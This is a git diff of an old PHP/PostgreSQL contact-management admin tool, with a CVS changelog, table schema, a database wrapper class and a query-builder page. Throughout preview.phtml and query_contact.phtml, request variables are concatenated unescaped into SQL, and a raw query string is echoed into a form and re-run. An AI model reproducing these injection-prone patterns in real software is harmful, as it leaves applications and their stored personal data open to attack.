+2002-03-14 11:23  matrix
+
+       * download.phtml: removed offending dot
+
+2002-03-12 10:32  matrix
+
+       * contact_setup.inc: file contact_setup.inc was initially added on
+       branch glm-Contact-2-0.
+
+2002-03-12 10:32  matrix
+
+       * download.phtml: file download.phtml was initially added on branch
+       glm-Contact-2-0.
+
+2002-03-12 10:32  matrix
+
+       * contact.phtml, contact_setup.inc, del_query.phtml,
+       download.phtml, edit_contact.phtml, list_contact.phtml,
+       list_query.phtml, mailout.phtml, query_contact.phtml,
+       query_db.phtml, update_contact.phtml: make it customer and ocntact
+
+2002-03-12 09:36  matrix
+
+       * list_cust_form.phtml, list_customers.phtml, path.phtml,
+       shopping_cart_setup.inc: updates
+
+2002-03-12 09:34  matrix
+
+       * contact.phtml, del_query.phtml, edit_contact.phtml,
+       list_contact.phtml, list_query.phtml, query_contact.phtml,
+       query_db.phtml, update_contact.phtml: prepare for merging
+
+2001-12-17 10:13  matrix
+
+       * list_contact.phtml, mailout.phtml: added ID
+
+2001-12-17 10:02  matrix
+
+       * list_contact.phtml, mailout.phtml: mail can't be sent by url
+
+2001-11-27 16:50  matrix
+
+       * contact.phtml, del_query.phtml, edit_contact.phtml,
+       list_contact.phtml, list_query.phtml, query_contact.phtml,
+       query_db.phtml, query_save.phtml, update_contact.phtml: needed to
+       update adding contacts to customer table as there is no default
+       value for cust_id
+
+2001-11-21 14:07  matrix
+
+       * contact.phtml, del_query.phtml, edit_contact.phtml,
+       list_contact.phtml, list_query.phtml, path.phtml,
+       query_contact.phtml, query_db.phtml, update_contact.phtml: using
+       setup.phtml not path.phtml
+
+2001-11-07 14:30  matrix
+
+       * list_contact.phtml: removed echo
+
+2001-11-07 14:27  matrix
+
+       * contact.phtml, del_query.phtml, edit_contact.phtml,
+       list_query.phtml, mailout.phtml, path.phtml, query_contact.phtml,
+       query_db.phtml, update_contact.phtml: updatng now using setup.phtml
+
+2001-11-07 14:24  matrix
+
+       * list_contact.phtml: correcting email out code
+
+2001-10-15 15:19  matrix
+
+       * contact.phtml, query_contact.phtml: adding date search
+
+2001-10-11 14:44  matrix
+
+       * list_contact.phtml: updating
+
+2001-10-11 14:34  matrix
+
+       * mailout.phtml: file mailout.phtml was initially added on branch
+       glm-Contact-2-0.
+
+2001-10-11 14:32  matrix
+
+       * list_contact.phtml, mailout.phtml: added autoresponder
+
+2001-09-25 10:14  matrix
+
+       * path.phtml: changed the path so we use one file
+
+2001-09-25 10:13  matrix
+
+       * contact.phtml: tr tag
+
+2001-07-02 14:29  matrix
+
+       * path.phtml: symplified the path files now this referes to the
+       main one in admin
+
+2001-06-22 08:55  matrix
+
+       * contact.phtml, contact.sql, edit_contact.phtml,
+       update_contact.phtml: adding field referred_by
+
+2001-06-19 08:50  matrix
+
+       * list_contact.phtml: no real change
+
+2001-06-19 08:49  matrix
+
+       * update_contact.phtml, edit_contact.phtml: modified for mailok
+
+2001-06-19 08:45  matrix
+
+       * list_contact.phtml: modified for errors on recalls
+
+2001-06-19 08:45  matrix
+
+       * edit_contact.phtml, update_contact.phtml: modified for mailok
+
+2001-06-18 10:08  matrix
+
+       * query_db.phtml: shop_query_db
+
+2001-06-18 10:08  matrix
+
+       * help/helpbg.gif: file helpbg.gif was initially added on branch
+       glm-Contact-shop-1-0.
+
+2001-06-18 10:08  matrix
+
+       * help/: closewindow.gif, contact.phtml, helpbg.gif: added images
+       to help folder
+
+2001-06-18 10:08  matrix
+
+       * help/closewindow.gif: file closewindow.gif was initially added on
+       branch glm-Contact-shop-1-0.
+
+2001-06-18 10:05  matrix
+
+       * query_contact.phtml: shop_query_db
+
+2001-06-18 10:04  matrix
+
+       * list_query.phtml: added nav links
+
+2001-06-18 10:03  matrix
+
+       * list_query.phtml: new shop query db
+
+2001-06-11 13:14  matrix
+
+       * list_contact.phtml: error correction
+
+2001-06-11 10:51  matrix
+
+       * list_contact.phtml: if there are no queries insert current
+
+2001-06-11 10:31  matrix
+
+       * list_contact.phtml: if there are no contacts html_error
+
+2001-06-11 10:18  matrix
+
+       * list_query.phtml: added nav to top of page
+
+2001-06-11 10:15  matrix
+
+       * help/contact.phtml: corrected paths to help images
+
+2001-06-08 09:17  matrix
+
+       * contact.sql: changing query table name to keep from messing up
+       other application
+
+2001-06-08 09:16  matrix
+
+       * help/contact.phtml: updateing help file
+
+2001-06-08 09:12  matrix
+
+       * contact.phtml: changed radio buttons on mail_ok to drop down
+
+2001-06-08 08:50  matrix
+
+       * list_contact.phtml: modified
+
+2001-06-08 08:46  matrix
+
+       * contact.phtml: made the mail_ok a drop down
+
+2001-06-07 14:54  matrix
+
+       * contact.phtml, list_contact.phtml, query_contact.phtml: updated
+       per gloriebe contactdb
+
+2001-06-07 14:06  matrix
+
+       * query_contact.phtml, help/contact.phtml: made changes for ereg
+       wildcards
+
+2001-06-06 15:51  matrix
+
+       * contact.phtml, contact.sql, edit_contact.phtml,
+       list_contact.phtml, query_contact.phtml, query_save.phtml,
+       update_contact.phtml: shop version
+
+2001-06-06 15:42  matrix
+
+       * main.css: added file
+
+2001-06-06 15:40  matrix
+
+       * report.rpt: "removed"
+
+2001-06-06 15:00  matrix
+
+       * contact.phtml, list_contact.phtml, query_contact.phtml,
+       update_contact.phtml, help/contact.phtml: worked out some bugs
+
+2001-06-06 13:41  matrix
+
+       * help/contact.phtml: changed path on images
+
+2001-06-06 13:38  matrix
+
+       * main.css: adding needed files
+
+2001-06-06 13:38  matrix
+
+       * main.css: file main.css was initially added on branch
+       glm-Contact-2-0.
+
+2001-06-05 11:17  matrix
+
+       * path.phtml: changed path to help
+
+2001-06-05 11:13  matrix
+
+       * path.phtml: changed path to help
+
+2001-06-05 10:45  matrix
+
+       * path.phtml: added path file
+
+2001-06-05 10:38  matrix
+
+       * contact.phtml, list_contact.phtml, query_contact.phtml: added
+       pipe and csv delimiter
+
+2001-05-31 12:43  matrix
+
+       * contact.phtml, contact.sql, contact_test.sql, del_query.phtml,
+       edit_contact.phtml, list_contact.phtml, list_query.phtml,
+       query_contact.phtml, query_db.phtml, query_save.phtml,
+       update_contact.phtml, help/contact.phtml: combining the contact
+       databases
+
+2001-04-04 13:42  matrix
+
+       * admin_constants.inc, index.html, list_cust_form.phtml,
+       list_customers.phtml, path.phtml, report.rpt,
+       shopping_cart_setup.inc, notes/adm2.sql, notes/guest.sql: Initial
+       revision
+
+2001-04-04 13:42  matrix
+
+       * admin_constants.inc, index.html, list_cust_form.phtml,
+       list_customers.phtml, path.phtml, report.rpt,
+       shopping_cart_setup.inc, notes/adm2.sql, notes/guest.sql: imported
+       sources
+
diff --git a/admin/Contact/notes/Contact b/admin/Contact/notes/Contact
new file mode 100755 (executable)
index 0000000..937f46f
--- /dev/null
@@ -0,0 +1,4 @@
+All application setup stuff will be in contact_setup.phtml
+1)     right now if you add to the $fields array you'll still have to change
+       edit_contact.phtml and update_contact.phtml
+2)     contact.sql - contains the query to build the contact table and query_db table
diff --git a/admin/Contact/notes/contact.sql b/admin/Contact/notes/contact.sql
new file mode 100755 (executable)
index 0000000..e14c3c2
--- /dev/null
@@ -0,0 +1,89 @@
+\connect - postgres
+
+CREATE TABLE "contact" (
+       "id" SERIAL PRIMARY KEY, 
+       "create_date" date,
+       "fname" text,
+       "lname" text,
+       "company" text,
+       "address" text,
+       "address2" text,
+       "city" text,
+       "state" text,
+       "zip" text,
+       "country" text,
+       "phone" text,
+       "fax" text,
+       "email" text,
+       "user_agent" text,
+       "remote_addr" text,
+       "interest" text,
+       "mail_ok" boolean
+);
+
+REVOKE ALL on "contact" from PUBLIC;
+GRANT ALL on "contact" to "nobody";
+GRANT ALL on "contact" to "postgres";
+
+REVOKE ALL on "contact_id_seq" from PUBLIC;
+GRANT ALL on "contact_id_seq" to "nobody";
+GRANT ALL on "contact_id_seq" to "postgres";
+
+CREATE TABLE "query_db" (
+       "id" SERIAL PRIMARY KEY, 
+       "query_name" text,
+       "query" text,
+       "file" text,
+       "delimiter" text
+);
+
+REVOKE ALL on "query_db" from PUBLIC;
+GRANT ALL on "query_db" to "nobody";
+GRANT ALL on "query_db" to "postgres";
+
+REVOKE ALL on "query_db_id_seq" from PUBLIC;
+GRANT ALL on "query_db_id_seq" to "nobody";
+GRANT ALL on "query_db_id_seq" to "postgres";
+
+CREATE TABLE "news_response" (
+       "id" SERIAL PRIMARY KEY, 
+       "subject" text,
+       "response" text,
+       "image" text,
+       "image2" text,
+       "image3" text,
+       "image_align" text,
+       "image2_align" text,
+       "image3_align" text,
+       "mailout"       date,
+       "last_update" date
+);
+
+REVOKE ALL on "news_response" from PUBLIC;
+GRANT ALL on "news_response" to "postgres";
+GRANT ALL on "news_response" to "nobody";
+GRANT ALL on "news_response_id_seq" to "nobody";
+
+INSERT INTO news_response (subject,response) values ('subject','response');
+
+CREATE UNIQUE INDEX contact_id_indx ON contact(id);
+CREATE INDEX contact_email_indx ON contact(email);
+CREATE INDEX contact_fname_indx ON contact(fname);
+CREATE INDEX contact_lname_indx ON contact(lname);
+CREATE INDEX contact_create_date_indx ON contact(create_date);
+CREATE UNIQUE INDEX news_response_id_indx ON contact(id);
+CREATE UNIQUE INDEX query_db_id_indx ON contact(id);
+
+CREATE TABLE contact_inq (
+    id serial NOT NULL,
+    header text,
+    pos integer,
+    description text,
+    image text
+);
+REVOKE ALL ON TABLE contact_inq FROM PUBLIC;
+GRANT ALL ON TABLE contact_inq TO nobody;
+REVOKE ALL ON TABLE contact_inq_id_seq FROM PUBLIC;
+GRANT ALL ON TABLE contact_inq_id_seq TO nobody;
+ALTER TABLE ONLY contact_inq
+    ADD CONSTRAINT contact_inq_pkey PRIMARY KEY (id);
diff --git a/admin/Contact/obj_db.inc b/admin/Contact/obj_db.inc
new file mode 100755 (executable)
index 0000000..0ce77e7
--- /dev/null
@@ -0,0 +1,300 @@
+<?php
+include_once '../../setup.phtml';
+
+/*! @header Gaslight-Media 
+ *     @abstract Gaslight Media Standard Function Library
+ *     @discussion Copyright (c) 2000-2002 by Gaslight Media Inc.
+ *
+ *     FILE:           obj_db.inc
+ *     VERSION:        1.0
+ *
+ */
+
+/*! @class DB_Conn
+ *  @abstract Basic database connection class
+ *  @discussion A simple class that holds a database connection. Currently only
+                               configured to connect to PostgreSQL.
+ */
+class DB_Conn
+       {
+       var $conn_id;   // Our connection's resource ID
+       var $conn_str;  // Our connection string (unused)
+       var $db_type;   // The type of database
+       
+/*!    @function DB_Conn
+ *     @abstract DB_Conn constructor
+ *     @discussion     This is the constructor for the DB_Conn object. All it does is call
+                               the connect() function. It used to also register "disconnect()" as
+                               a shutdown function, which is specifically suggested in the PHP
+                               documentation, but there seems to be some sort of bug in PHP that
+                               prevents this from working.
+ *     @param $conn_str        The string to feed to a database's connect function. Defaults to CONN_STR from the siteinfo.inc file.
+ *     @param $db_type         The type of database we're connecting to. Defaults to DB_TYPE from the "siteinfo.inc" file.
+ */
+       function DB_Conn( $conn_str = CONN_STR, $db_type = DB_TYPE )
+               {
+               $this->connect( $conn_str, $db_type );
+               // register_shutdown_function( "disconnect" );
+               }
+               
+/*!    @function connect
+ *     @abstract Establishes a database connection
+ *     @param $conn_str        The string to feed to a database's connect function. Defaults to CONN_STR from the siteinfo.inc file.
+ *     @param $db_type         The type of database we're connecting to. Defaults to DB_TYPE from the "siteinfo.inc" file.
+ */
+       function connect( $conn_str = CONN_STR, $db_type = DB_TYPE )
+               {
+               $this->conn_str = $conn_str;
+               $this->db_type = $db_type;
+               
+               switch( $db_type )
+                       {
+                       case "postgres":
+                               $this->conn_id = pg_connect( $conn_str );
+                               break;
+                       default:
+                               $this->conn_id = NULL;
+                       }
+               
+               return $this->conn_id;
+               }
+       
+       function get_conn_id()
+               {
+               return $this->conn_id;
+               }       
+
+       function get_db_type()
+               {
+               return $this->db_type;
+               }
+
+       function disconnect()
+               {
+               switch( $this->db_type )
+                       {
+                       case "postgres":
+                               pg_close( $this->conn_id );
+                               break;
+                       }
+               $this->conn_id = NULL;
+               $this->conn_str = NULL;
+               $this->db_type = NULL;
+               }
+
+       function get_table_metadata($tablename)
+               {
+               // Like I'm even gonna bother looking this up for mySQL
+               switch( $this->db_type )
+                       {
+                       case "postgres":
+                               $rs = new ResultSet("SELECT oid FROM pg_class WHERE relname='$tablename'", $this);
+                               $row = $rs->next();
+                               $rs = new ResultSet("SELECT * FROM pg_attribute WHERE attrelid=$row[0]", $this);
+                               while($row = $rs->next())
+                               {
+                                       $sqlstring="SELECT * FROM pg_type WHERE oid=$row[atttypid]";
+                                       $rs2 = new ResultSet($sqlstring, $this);
+                                       $attr_data = $rs2->next();
+                                       
+                                       switch($attr_data["typname"])
+                                               {
+                                               case "varchar":
+                                               case "char":
+                                               case "name":
+                                               case "timestamp":
+                                               case "date":
+                                               case "time":
+                                                       $phptype = "string";
+                                               break;
+                                               case "int8":
+                                               case "int4":
+                                               case "int2":
+                                                       $phptype = "integer";
+                                               break;
+                                               case "float4":
+                                               case "float8":
+                                                       $phptype="float";
+                                               break;
+                                               case "bool":
+                                                       $phptype = "boolean";
+                                               break;
+                                               default:
+                                                       $phptype = "string";
+                                               break;
+                                               }
+                                       
+                                       $table[($row['attname'])] = $phptype;
+                               }
+                               return $table;
+                       break;
+                       }
+               }
+       }
+
+/*! @class             ResultSet
+ *  @abstract  Holds a set of results for a specific query
+ *  @discussion This class attempts to rip off Java's ResultSet class as much
+                               as is humanly possible. Right now enough code is in place for a
+                               simple "while( $row = $resultset->next() )", but there's a LOT
+                               of room for expansion in this class.
+ */
+class ResultSet
+       {
+       var $conn;                      // Our current connection object
+       var $db_type;           // Our connection's database type
+       var $sqlstring;         // This object's SQL query string
+       var $result;            // This object's result ID
+       var $numrows;           // The number of rows in this object's resultset
+       var $currentpos;        // Our current row position in the ResultSet
+       
+/*!    @function ResultSet
+ *     @abstract ResultSet constructor
+ *     @discussion     Executes the SQL query, then stores the result pointer and other class variables.
+ *     @param $sqlstring       The SQL string by which to search.
+ *     @param $conn            The DB_Conn object to use - creates a default connection if none is provided.
+ */    
+       function ResultSet( $sqlstring, $conn = NULL )
+               {
+               if( !$conn )
+                       $this->conn = new DB_Conn();
+               else
+                       $this->conn = $conn;
+               
+               $this->db_type = $conn->get_db_type();
+               $this->sqlstring = $sqlstring;
+               $this->currentpos = "-1";
+               
+               switch( $this->db_type )
+                       {
+                       case "postgres":
+                               $this->result = pg_exec( $conn->get_conn_id(), $sqlstring );
+                               $this->numrows = pg_numrows( $this->result );
+                               break;
+                       }
+               
+               if( !$this->numrows || $this->numrows < 0 )
+                       $this->numrows=0;
+               }
+       
+/*!    @function next
+ *     @abstract Returns the next row in the database
+ *     @discussion     Fairly simplistic - advances the position pointer by 1, and returns that row in the form of an array.
+ *     @return $row    An associative array containing the current row in the resultset.
+ */
+       function next()
+               {
+               $this->currentpos = $this->currentpos + 1;
+               if( $this->currentpos == $this->numrows ) return NULL;
+               
+               switch( $this->db_type )
+                       {
+                       case "postgres":
+                               return pg_fetch_array( $this->result, $this->currentpos );
+                               break;
+                       }
+               }
+
+/*!    @function       numrows
+ *     @abstract       Number of rows in the resultset. 
+ *     @result         $this->numrows Numrows class variable
+ */    
+       function numrows()
+               {
+               return $this->numrows;
+               }
+       
+/*!    @function       reset
+ *     @abstract       Return to the beginning of the resultset (sets $this->currentpos to -1)
+ */    
+       function reset()
+               {
+               $this->currentpos = "-1";
+               }                               
+       
+       }
+       
+/*! @class             Query
+ *  @abstract  Designed to execute a quick, response-less query
+ *  @discussion This was just a quick hack for stuff like INSERTs where we don't
+                               care what the database says back. It probably could be combined
+                               pretty successfully with the ResultSet class for increased
+                               simplicity. Especially since the "affected_row()" method beings
+                               to overlap ResultSet's functionality.
+ */
+class Query
+       {
+       var $conn;              // Our database connection object
+       var $sqlstring; // The SQL string of this query
+       var $oid;               // The result's OID (for postgres).
+       var $db_type;   // The type of DB to which we're connecting
+
+/*!    @function       Query
+ *     @abstract       Query constructor. 
+ *     @param          $sqlstring      SQL string to send to database for processing
+ *     @param          $conn           Database connection object (a default is created if none are provided)
+ */    
+       function Query( $sqlstring = NULL, $conn = NULL )
+               {
+               if( $sqlstring )
+                       $this->exec_query( $sqlstring, $conn );
+               }
+               
+/*!    @function       exec_query
+ *     @abstract       Executes a query, stores the transaction ID in class variable "$oid". 
+ *     @param          $sqlstring      SQL string to send to database for processing
+ *     @param          $conn           Database connection object (a default is created if none are provided)
+ */    
+       function exec_query( $sqlstring, $conn = NULL )
+               {
+               if( !$conn )
+                       {
+                       if( !$this->conn )
+                               $this->conn = new DB_Conn();
+                       }
+               else
+                       $this->conn = $conn;
+               
+               $conn = $this->conn;
+               $this->db_type = $conn->get_db_type();
+               $this->sqlstring = $sqlstring;
+               
+               switch( $this->db_type )
+                       {
+                       case "postgres":
+                               $this->oid = pg_exec( $conn->get_conn_id(), $sqlstring );
+                               if( $this->oid < 0 ) $this->oid = NULL;
+                               break;
+                       }
+               }
+       
+/*!    @function       affected_row
+*      @abstract       Returns a table row affected by the last query
+ *     @discussion     Passing this method a table will return a ResultSet object containing
+                               the table row affected by the previous query.
+       @param  $table  A string containing the name of the table to check
+       @result $rs             A ResultSet object containing the affeected row
+ */    
+       function affected_row( $table )
+               {
+               $sqlstring = "SELECT * FROM $table WHERE oid=$this->oid";
+               $rs = new ResultSet( $sqlstring, $this->conn );
+                       
+               return $rs;
+               }
+       
+/*!    @function       oid
+ *     @abstract       Returns the OID of the last database transaction
+ */    
+       function oid()
+               {
+               return $this->oid;
+               }
+       }
+
+?>
diff --git a/admin/Contact/preview.phtml b/admin/Contact/preview.phtml
new file mode 100755 (executable)
index 0000000..2561baf
--- /dev/null
@@ -0,0 +1,20 @@
+<?
+include("../../setup.phtml");
+include("contact_setup.inc");
+
+$query = "SELECT * FROM news_response WHERE id = $id";
+$res = db_auto_get_data($query, CONN_STR);
+$data['url'] = URL_BASE;
+$data['subject'] = $res[0]["subject"];
+$response = $res[0]["response"];
+$response = str_replace("IMAGE1","<!-- image -->",$response);
+$response = str_replace("IMAGE2","<!-- image2 -->",$response);
+$response = str_replace("IMAGE3","<!-- image3 -->",$response);
+$data['response'] = $response;
+$data['image'] = add_image($res[0]["image"],$res[0]['image_align']);
+$data['image2'] = add_image($res[0]["image2"],$res[0]['image2_align']);
+$data['image3'] = add_image($res[0]["image3"],$res[0]['image3_align']);
+
+$page = explode_template(NEWSLETTER_PROTOTYPE,$data);
+echo $page;
+?>
diff --git a/admin/Contact/query_contact.phtml b/admin/Contact/query_contact.phtml
new file mode 100755 (executable)
index 0000000..2e6647c
--- /dev/null
@@ -0,0 +1,406 @@
+<?php
+include("../../setup.phtml");
+include("contact_setup.inc");
+session_start();
+//$Id: query_contact.phtml,v 1.2 2010/01/05 19:00:30 matrix Exp $
+/* Includes  */
+session_register("sess_vars");
+$sess_vars = $HTTP_POST_VARS;
+if(!isset($query_no)) {
+       /* The fields array is sent as a string 
+               split it out using : as delimiter */
+       $fvalue = ereg_replace("^:","",$fvalue);
+       $fields = split(":",$fvalue);
+       $rfvalue = ereg_replace("^:","",$rfvalue);
+       $return_fields = split(":",$rfvalue);
+       $dates = ereg_replace("^:","",$rdvalue);
+       $dates = split(":",$dates);
+
+       if(!isset($search)) {
+               header("Location: index.phtml");
+       }
+       /* Chop off whitespaces spaces */
+       $search = chop(trim($search));
+       if($search == "") 
+               $ALL = TRUE;
+
+       function getKeywords($keywords) {
+               /* Replace the whitespace with a , */
+               $keywords = ereg_replace(" ",",",$keywords);
+       
+               while(ereg(",,",$keywords)) {
+               /* Replace the ,, with a , */
+                       $keywords = ereg_replace(",,",",",$keywords);
+               }
+               $seperated = explode(",",$keywords);
+               /* Return exploded string */
+               return $seperated;
+       }
+
+       switch($search_type) {
+               case "1":
+                       $keywords = $search;
+                       $compare = "OR";
+               break;
+
+               case "2":
+                       $keywords = getKeywords($search);
+                       $compare = "AND";
+               break;
+
+               case "3":
+                       $keywords = getKeywords($search);
+                       $compare = "OR";
+               break;
+
+               case "4":
+                       $keywords = getKeywords($search);
+                       $compare = "AND";
+                       $NOT = TRUE;
+               break;
+       
+               default:
+                       echo "not valid";
+               break;
+       }
+
+       if(is_array($keywords)) {
+               for($rip=0;$rip<count($keywords);$rip++) {
+                       $keywords[$rip] = trim($keywords[$rip]);
+                       /* if * is at the begging the replace with .* */
+                       $keywords[$rip] = ereg_replace("[\x2a]",".*",$keywords[$rip]);
+                       $keywords[$rip] = ereg_replace("[\x3f]",".?",$keywords[$rip]);
+                       $keywords[$rip] = ereg_replace("[\x2b]",".+",$keywords[$rip]);
+               }
+       }
+       else {
+               $keywords = trim($keywords);
+               /* if * is at the begging the replace with .* */
+               $keywords = ereg_replace("[\x2a]",".*",$keywords);
+               $keywords = ereg_replace("[\x3f]",".?",$keywords);
+               $keywords = ereg_replace("[\x2b]",".+",$keywords);
+       }
+       
+       switch($alter) {
+               /* $alter defines where to look in fields */
+               case "1":
+                       $begin = "^";
+                       $end = "";
+               break;
+       
+               case "2":
+                       $begin = "";
+                       $end = " *$";
+               break;
+
+               default:
+                       $begin = "";
+                       $end = "";
+               break;
+       }
+       
+       $operator = " ";
+       if($NOT) {
+               $operator .= "!~";
+       }
+       else {
+               $operator .= "~";
+       }
+       if($case == "OFF") {
+               $operator .= "*";
+       }
+       $operator .= " ";
+
+       /* finally, build the query string from string or array $keywords */
+       $query_string = "SELECT ".ID.",";
+       $totali = count($return_fields)-1;
+       for($i=0;$i<count($return_fields);$i++) {
+               $query_string .= $return_fields[$i];
+               if($i != $totali) {
+                       $query_string .= ",";
+               }
+               if($i == 8) {
+                       $query_string .= "\n";
+               }
+       }
+       $totald = count($dates)-1;
+       for($i=0;$i<count($dates);$i++) {
+               if($dates[$i] != " " && $dates[$i] != "") {
+                       if($i == 0) {
+                               $query_string .= ",";
+                       }
+               }
+               $query_string .= $dates[$i];
+               if($i != $totald) {
+                       $query_string .= ",";
+               }
+       }
+       if(!$ALL) {     
+               $query_string .= "\nFROM\t".TABLE." \nWHERE\t".WHERE."\nAND\t";
+               $query_string .= "(";
+               for($b=0;$b<count($fields);$b++) {
+                       $totalb = count($fields)-1;
+                       if(is_array($keywords)) {
+                               for($c=0;$c<count($keywords);$c++) {
+                                       $totalc = count($keywords)-1;
+                                       $query_string .= $fields[$b].$operator."'".
+                                               $begin.$keywords[$c].$end."'";
+                                       if($c != $totalc) {
+                                               $query_string .= " \n$compare\t";
+                                       }
+                               }
+                       }
+                       else {
+                               $query_string .= $fields[$b].$operator."'".
+                                       $begin.$keywords.$end."'";
+                       }
+                       if($b != $totalb) {
+                               $query_string .= " \n$compare\t";
+                       }
+               }
+               $query_string .= ")";
+       }
+       else {
+               $query_string .= "\nFROM\t".TABLE." \nWHERE\t".WHERE."\n";
+       }
+       
+       if(is_array($heardabout))
+       {
+               $hrdcnt = count($heardabout);
+               for($i=0;$i<$hrdcnt;$i++)
+               {
+                       $query_string.= " AND heardabout ILIKE('%".$heardabout[$i]."%')";
+               }
+       }
+       
+       if($mail_ok == "1") {
+               $query_string .= " AND mail_ok = 't'";
+       }
+       if($mail_ok == "0") {
+               $query_string .= " AND mail_ok = 'f'";
+       }
+       if($letstalkgolf == "1") {
+               $query_string .= " AND letstalkgolf = 't'";
+       }
+       if($letstalkgolf == "0") {
+               $query_string .= " AND letstalkgolf = 'f'";
+       }
+       if($invitational == "1") {
+               $query_string .= " AND invitational = 't'";
+       }
+       if($invitational == "0") {
+               $query_string .= " AND invitational = 'f'";
+       }
+       if($social == "1") {
+               $query_string .= " AND social = 't'";
+       }
+       if($social == "0") {
+               $query_string .= " AND social = 'f'";
+       }
+       if( is_array( $cols ) )
+       {
+               foreach( $cols as $ikey => $ival )
+               {
+                       $query_string .= " AND interest $operator ':$ival:'";
+               }
+       }
+    if (is_array($_POST['cors'])) {
+        $query_string .= " AND id in (
+            SELECT contact_id
+              FROM contact_course
+             WHERE course_id in (".implode(",", $_POST['cors'])."))";
+    }
+       if(isset($fp_month)) {
+               $fp_str = mktime(0,0,0,$fp_month,$fp_day,$fp_year);
+               $tp_str = mktime(0,0,0,$tp_month,$tp_day,$tp_year);
+               $fa_str = mktime(0,0,0,$fa_month,$fa_day,$fa_year);
+               $ta_str = mktime(0,0,0,$ta_month,$ta_day,$ta_year);
+               
+               if($fp_str<$tp_str) {
+                       $fp_date = $fp_month."/".$fp_day."/".$fp_year;
+                       $tp_date = $tp_month."/".$tp_day."/".$tp_year;
+                       $query_string .= " AND purch_date >= '$fp_date'
+                                                          AND purch_date < '$tp_date'";
+               }
+               if($fa_str<$ta_str) {
+                       $fa_date = $fa_month."/".$fa_day."/".$fa_year;
+                       $ta_date = $ta_month."/".$ta_day."/".$ta_year;
+                       $query_string .= " AND access_date >= '$fa_date'
+                                                          AND access_date < '$ta_date'";
+               }
+               if($fp_str>$tp_str) {
+                       $fp_date = $fp_month."/".$fp_day."/".$fp_year;
+                       $tp_date = $tp_month."/".$tp_day."/".$tp_year;
+                       $query_string .= " AND purch_date < '$tp_date'";
+               }
+               if($fa_str>$ta_str) {
+                       $fa_date = $fa_month."/".$fa_day."/".$fa_year;
+                       $ta_date = $ta_month."/".$ta_day."/".$ta_year;
+                       $query_string .= " AND access_date < '$ta_date'";
+               }
+       }
+       if(isset($fc_month)) {
+               $fc_str = mktime(0,0,0,$fc_month,$fc_day,$fc_year);
+               $tc_str = mktime(0,0,0,$tc_month,$tc_day,$tc_year);
+               
+               if($fc_str<$tc_str) {
+                       $fc_date = $fc_month."/".$fc_day."/".$fc_year;
+                       $tc_date = $tc_month."/".$tc_day."/".$tc_year;
+                       $query_string .= " AND create_date >= '$fc_date'
+                                                          AND create_date <= '$tc_date'";
+               }
+               if($fc_str>$tc_str) {
+                       $fc_date = $fc_month."/".$fc_day."/".$fc_year;
+                       $tc_date = $tc_month."/".$tc_day."/".$tc_year;
+                       $query_string .= " AND create_date < '$tc_date'";
+               }
+       }
+}      
+else {
+       if(!$dbd = db_connect()) html_error(DB_ERROR_MSG,0);
+
+       $qs = "SELECT   query_name,query,delimiter,file 
+                  FROM         query_db
+                  WHERE        id = $query_no";
+
+       if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+       $row = db_fetch_array($res,0,PGSQL_ASSOC);
+       $query_name = $row[query_name];
+       $query_string = $row[query];
+       $file = $row[file];
+       $delimiter = $row[delimiter];
+}
+
+/* Thought the customer would like to see what's in the query */
+$showq = str_replace("SELECT","Return\n",$query_string);
+$showq = str_replace( "\nFROM\t".TABLE." \nWHERE\t".WHERE."\nAND\t",
+" \nfrom the contact database \nwhere ",$showq);
+$showq = str_replace( "\nFROM\t".TABLE." \nWHERE\t".WHERE."\n",
+" \nfrom the contact database",$showq);
+$showq = str_replace("fname","first name",$showq);
+$showq = str_replace("cust_id,","",$showq);
+$showq = str_replace("lname","last name",$showq);
+$showq = str_replace("!~*","does not contain",$showq);
+$showq = str_replace("!~","does not contain",$showq);
+$showq = str_replace("~*","contains",$showq);
+$showq = str_replace("~","is in",$showq);
+$showq = str_replace("does not contain '^"," does not start with ",$showq);
+$showq = str_replace("contains '^"," starts with ",$showq);
+$showq = str_replace("is in '^"," starts with ",$showq);
+$showq = str_replace("$"," in the ending ",$showq);
+$showq = str_replace("OR","or",$showq);
+$showq = str_replace("AND","and",$showq);
+$showq = str_replace("'","",$showq);
+if(!$ALL) {
+       if($case == "OFF") {
+               $showq .= "\n(case insensitive match)";
+       } else {
+               $showq .= "\n(case sensitive match)";
+       }
+}
+if(isset($file) && $file != "") {
+       $showq .= "\noutput 1 file in ";
+       if($file == "rpt") {
+               $showq .= "text";
+       }elseif($file == "gz") {
+               $showq .= "tar ball";
+       }else {
+               $showq .= "zip";
+       }
+       if($delimiter == "csv")
+               $showq .= " format using ".$delimiter;
+       else
+               $showq .= " format using ".$delimiter." as delimiter";
+}
+$showq .= ".";
+
+
+$query = addslashes($query_string);
+
+top("QUERY BUILDER PAGE","");
+html_nav_table($nav,$navWidth);
+?>
+<script src="<?echo URL_BASE."admin/wm.js"?>"></script>
+<script src="<?echo URL_BASE."admin/msg.js"?>"></script>
+
+<table id="admin-list-table">
+<tr>
+  <th bgcolor="#2f4f4f" class="theader">
+       Submit Query
+  </th>
+  </tr>
+       <tr>
+       <td><a href="index.phtml">Go Back to Query page</a></td>
+       </tr>
+  <tr>
+  <td>
+       <?echo nl2br($showq)?>
+    <br>
+       <?if(isset($query_name)) {
+       echo "Query ".$query_name." Recalled";
+       }?>
+       
+       <form action="list_contact.phtml" method="POST">
+       <input type="hidden" name="delimiter" value="<?echo $delimiter?>">
+       <input type="hidden" name="file" value="<?echo $file?>">
+       <input type="hidden" name="query_string" value="<?echo $query_string?>">
+       <input type="hidden" name="Submit" value="Submit Query">
+       <center>
+       <input type="submit" value="Send Query">
+       </form>
+       </center>
+       </td>
+  </tr>
+</table>
+<script lang="javascript">
+       var o_save = new Object();
+       o_save.url = 'query_save.phtml';
+       o_save.name = 'savewin';
+       o_save.width = 510;
+       o_save.height = 150;
+</script>
+<table>
+  <tr>
+  <th bgcolor="#2f4f4f" class="theader">
+       Do you wish to save this query for future use?
+  </th>
+  </tr>
+  <tr>
+    <td>
+       <a href="#" onClick="
+       glm_open(o_save);
+       return(false);
+       ">Save This Report</a>
+       </td>
+</tr>
+</table>
+
+<?
+/* Save the query with (current) as query_name */
+if(!$dbd = db_connect()) html_error("Cant connect",0);
+
+$qs = "SELECT  id
+          FROM         query_db 
+          WHERE        query_name = '(current)'";
+
+if(!$res = @db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+if(!$row = @db_fetch_array($res,0,PGSQL_ASSOC)) {
+       $qs = "INSERT 
+                  INTO         query_db
+                                       (query_name,query,file,delimiter)
